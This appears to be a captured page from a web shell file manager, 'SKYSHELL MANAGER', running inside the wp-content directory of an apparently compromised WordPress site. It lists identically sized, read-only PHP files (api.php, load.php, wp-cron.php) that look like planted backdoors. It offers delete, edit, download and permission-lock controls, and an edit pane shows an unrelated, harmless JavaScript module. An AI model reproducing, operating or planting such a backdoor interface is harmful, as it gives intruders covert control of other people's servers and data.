📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.js
'use strict'; var env = require('env-variable'); /** * Checks if a given namespace is allowed by the environment variables. * * @param {String} name namespace that should be included. * @param {Array} variables * @returns {Boolean} * @api public */ module.exports = function enabled(name, variables) { var envy = env() , variable , i = 0; variables = variables || ['diagnostics', 'debug']; for (; i < variables.length; i++) { if ((variable = envy[variables[i]])) break; } if (!variable) return false; variables = variable.split(/[\s,]+/); i = 0; for (; i < variables.length; i++) { variable = variables[i].replace('*', '.*?'); if ('-' === variable.charAt(0)) { if ((new RegExp('^'+ variable.substr(1) +'$')).test(name)) { return false; } continue; } if ((new RegExp('^'+ variable +'$')).test(name)) { return true; } } return false; };
Save